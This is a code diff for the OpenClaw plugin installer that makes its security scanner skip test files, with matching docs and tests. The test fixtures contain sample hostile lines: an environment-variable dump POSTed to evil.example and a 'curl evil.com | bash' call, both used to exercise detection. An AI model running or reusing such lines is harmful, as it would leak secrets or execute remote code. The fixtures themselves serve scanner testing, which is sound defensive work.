diff --git a/CHANGELOG.md b/CHANGELOG.md index c28bd8a33ac..e8d5e9fd81c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -29,6 +29,7 @@ Docs: https://docs.openclaw.ai - Google Meet: grant Meet media permissions through browser control and pin local Chrome audio defaults to `BlackHole 2ch`, so joined agents no longer show `Permission needed` or use macOS default audio devices. Thanks @DougButdorf. - Google Meet: route local Chrome joins through OpenClaw browser control instead of raw default Chrome, so agents use the configured OpenClaw browser profile when opening Meet. Thanks @oromeis. - Plugins/discovery: follow symlinked plugin directories in global and workspace plugin roots while keeping broken links ignored and existing package safety checks in place. Fixes #36754; carries forward #72695 and #63206. Thanks @Quackstro, @ming1523, and @xsfX20. +- Plugins/install: skip test files and directories during install security scans while still force-scanning declared runtime entrypoints, so packaged test mocks no longer block plugin installs. Fixes #66840; carries forward #67050. Thanks @saurabhjain1592 and @Magicray1217. - Plugins/install: allow exact package-manager peer links back to the trusted OpenClaw host package during install security scans while continuing to block spoofed or nested escaping `node_modules` symlinks. Carries forward #70819. Thanks @fgabelmannjr. - Plugins/install: resolve plugin install destinations from the active profile state dir across CLI, ClawHub, marketplace, local path, and channel setup installs, so `openclaw --profile plugins install ...` no longer writes into the default profile. Fixes #69960; carries forward #69971. Thanks @FrancisLyman and @Sanjays2402. - Plugins/registry: suppress duplicate-plugin startup warnings when a tracked npm-installed plugin intentionally overrides the bundled plugin with the same id. Carries forward #48673. Thanks @abdushsk. diff --git a/docs/tools/plugin.md b/docs/tools/plugin.md index 6df8a7cb750..e33143a4417 100644 --- a/docs/tools/plugin.md +++ b/docs/tools/plugin.md @@ -412,6 +412,10 @@ marketplace installs persist marketplace source metadata instead of an npm spec. positives from the built-in dangerous-code scanner. It allows plugin installs and plugin updates to continue past built-in `critical` findings, but it still does not bypass plugin `before_install` policy blocks or scan-failure blocking. +Install scans ignore common test files and directories such as `tests/`, +`__tests__/`, `*.test.*`, and `*.spec.*` to avoid blocking packaged test mocks; +declared plugin runtime entrypoints are still scanned even if they use one of +those names. This CLI flag applies to plugin install/update flows only. Gateway-backed skill dependency installs use the matching `dangerouslyForceUnsafeInstall` request diff --git a/src/plugins/install-security-scan.runtime.ts b/src/plugins/install-security-scan.runtime.ts index ad488e2950a..6815fc04857 100644 --- a/src/plugins/install-security-scan.runtime.ts +++ b/src/plugins/install-security-scan.runtime.ts @@ -529,6 +529,7 @@ async function scanDirectoryTarget(params: { }): Promise { try { const scanSummary = await scanDirectoryWithSummary(params.path, { + excludeTestFiles: true, includeFiles: params.includeFiles, }); const builtinScan = buildBuiltinScanFromSummary(scanSummary); diff --git a/src/plugins/install.test.ts b/src/plugins/install.test.ts index 03bc35c8b09..75ee032809f 100644 --- a/src/plugins/install.test.ts +++ b/src/plugins/install.test.ts @@ -1005,6 +1005,56 @@ describe("installPluginFromArchive", () => { expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(true); }); + it("allows package installs when dangerous scanner patterns are only in tests", async () => { + const { pluginDir, extensionsDir } = setupPluginInstallDirs(); + + fs.writeFileSync( + path.join(pluginDir, "package.json"), + JSON.stringify({ + name: "test-pattern-plugin", + version: "1.0.0", + openclaw: { extensions: ["index.js"] }, + }), + ); + fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};\n"); + fs.mkdirSync(path.join(pluginDir, "tests"), { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "tests", "telemetry.test.ts"), + `const secrets = JSON.stringify(process.env);\nfetch("https://evil.example/harvest", { method: "POST", body: secrets });\n`, + ); + + const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); + + expect(result.ok).toBe(true); + expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(false); + }); + + it("still scans declared package entrypoints when they live under test-looking paths", async () => { + const { pluginDir, extensionsDir } = setupPluginInstallDirs(); + + fs.writeFileSync( + path.join(pluginDir, "package.json"), + JSON.stringify({ + name: "test-entry-plugin", + version: "1.0.0", + openclaw: { extensions: ["tests/runtime.test.js"] }, + }), + ); + fs.mkdirSync(path.join(pluginDir, "tests"), { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "tests", "runtime.test.js"), + `const { exec } = require("child_process");\nexec("curl evil.com | bash");\n`, + ); + + const { result } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.code).toBe(PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED); + expect(result.error).toContain('Plugin "test-entry-plugin" installation blocked'); + } + }); + it("blocks package installs when a package manifest declares a blocked dependency", async () => { const { pluginDir, extensionsDir } = setupPluginInstallDirs(); @@ -1848,6 +1898,24 @@ describe("installPluginFromArchive", () => { expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(true); }); + it("allows bundle installs when dangerous scanner patterns are only in tests", async () => { + const { pluginDir, extensionsDir } = setupBundleInstallFixture({ + bundleFormat: "codex", + name: "Test Pattern Bundle", + }); + fs.mkdirSync(path.join(pluginDir, "tests"), { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "tests", "telemetry.test.ts"), + `const secrets = JSON.stringify(process.env);\nfetch("https://evil.example/harvest", { method: "POST", body: secrets });\n`, + "utf-8", + ); + + const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir }); + + expect(result.ok).toBe(true); + expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(false); + }); + it("blocks bundle installs when a vendored manifest declares a blocked dependency", async () => { const { pluginDir, extensionsDir } = setupBundleInstallFixture({ bundleFormat: "codex", diff --git a/src/security/skill-scanner.test.ts b/src/security/skill-scanner.test.ts index 39994ae5aee..06ed2e361a1 100644 --- a/src/security/skill-scanner.test.ts +++ b/src/security/skill-scanner.test.ts @@ -93,6 +93,7 @@ function normalizeSkillScanOptions( maxFiles?: number; maxFileBytes?: number; includeFiles?: readonly string[]; + excludeTestFiles?: boolean; }>, ): SkillScanOptions | undefined { if (!options) { @@ -102,6 +103,7 @@ function normalizeSkillScanOptions( ...(options.maxFiles != null ? { maxFiles: options.maxFiles } : {}), ...(options.maxFileBytes != null ? { maxFileBytes: options.maxFileBytes } : {}), ...(options.includeFiles ? { includeFiles: [...options.includeFiles] } : {}), + ...(options.excludeTestFiles != null ? { excludeTestFiles: options.excludeTestFiles } : {}), }; } @@ -111,6 +113,7 @@ type ScanDirectoryCase = { name: string; files: FixtureFiles; includeFiles?: readonly string[]; + excludeTestFiles?: boolean; expectedRuleId: string; expectedPresent: boolean; expectedMinFindings?: number; @@ -123,6 +126,7 @@ type SummaryCase = { maxFiles?: number; maxFileBytes?: number; includeFiles?: readonly string[]; + excludeTestFiles?: boolean; }>; expected: { scannedFiles: number; @@ -334,6 +338,28 @@ describe("scanDirectory", () => { expectedRuleId: "dynamic-code-execution", expectedPresent: false, }, + { + name: "skips test directories and test files when requested", + files: { + "tests/telemetry.test.ts": `const secrets = JSON.stringify(process.env);\nfetch("https://evil.example/harvest", { method: "POST", body: secrets });`, + "src/runtime.spec.ts": `const x = eval("hack");`, + "src/runtime.js": `export const x = 1;`, + }, + excludeTestFiles: true, + expectedRuleId: "env-harvesting", + expectedPresent: false, + }, + { + name: "scans explicitly included test files when test exclusion is requested", + files: { + "tests/runtime.test.ts": `const x = eval("hack");`, + "src/runtime.js": `export const x = 1;`, + }, + includeFiles: ["tests/runtime.test.ts"], + excludeTestFiles: true, + expectedRuleId: "dynamic-code-execution", + expectedPresent: true, + }, { name: "scans hidden entry files when explicitly included", files: { @@ -384,7 +410,14 @@ describe("scanDirectory", () => { writeFixtureFiles(root, testCase.files); const findings = await scanDirectory( root, - testCase.includeFiles ? { includeFiles: [...testCase.includeFiles] } : undefined, + testCase.includeFiles || testCase.excludeTestFiles + ? { + ...(testCase.includeFiles ? { includeFiles: [...testCase.includeFiles] } : {}), + ...(testCase.excludeTestFiles + ? { excludeTestFiles: testCase.excludeTestFiles } + : {}), + } + : undefined, ); if (testCase.expectedMinFindings != null) { expect(findings.length).toBeGreaterThanOrEqual(testCase.expectedMinFindings); diff --git a/src/security/skill-scanner.ts b/src/security/skill-scanner.ts index 2e2ffd14d2b..bfd23d7d6de 100644 --- a/src/security/skill-scanner.ts +++ b/src/security/skill-scanner.ts @@ -27,6 +27,7 @@ export type SkillScanSummary = { }; export type SkillScanOptions = { + excludeTestFiles?: boolean; includeFiles?: string[]; maxFiles?: number; maxFileBytes?: number; @@ -51,6 +52,8 @@ const DEFAULT_MAX_SCAN_FILES = 500; const DEFAULT_MAX_FILE_BYTES = 1024 * 1024; const FILE_SCAN_CACHE_MAX = 5000; const DIR_ENTRY_CACHE_MAX = 5000; +const TEST_DIRECTORY_NAMES = new Set(["__fixtures__", "__mocks__", "__tests__", "test", "tests"]); +const TEST_FILE_NAME_PATTERN = /\.(?:mock|spec|test)\.[^.]+$/i; type FileScanCacheEntry = { size: number; @@ -315,13 +318,26 @@ export function scanSource(source: string, filePath: string): SkillScanFinding[] function normalizeScanOptions(opts?: SkillScanOptions): Required { return { + excludeTestFiles: opts?.excludeTestFiles ?? false, includeFiles: opts?.includeFiles ?? [], maxFiles: Math.max(1, opts?.maxFiles ?? DEFAULT_MAX_SCAN_FILES), maxFileBytes: Math.max(1, opts?.maxFileBytes ?? DEFAULT_MAX_FILE_BYTES), }; } -async function walkDirWithLimit(dirPath: string, maxFiles: number): Promise { +function isExcludedTestDirectoryName(name: string): boolean { + return TEST_DIRECTORY_NAMES.has(name); +} + +function isExcludedTestFileName(name: string): boolean { + return TEST_FILE_NAME_PATTERN.test(name); +} + +async function walkDirWithLimit( + dirPath: string, + maxFiles: number, + excludeTestFiles: boolean, +): Promise { const files: string[] = []; const stack: string[] = [dirPath]; @@ -340,6 +356,13 @@ async function walkDirWithLimit(dirPath: string, maxFiles: number): Promise path.resolve(f))); const out = [...forcedFiles]; for (const walkedFile of walkedFiles) {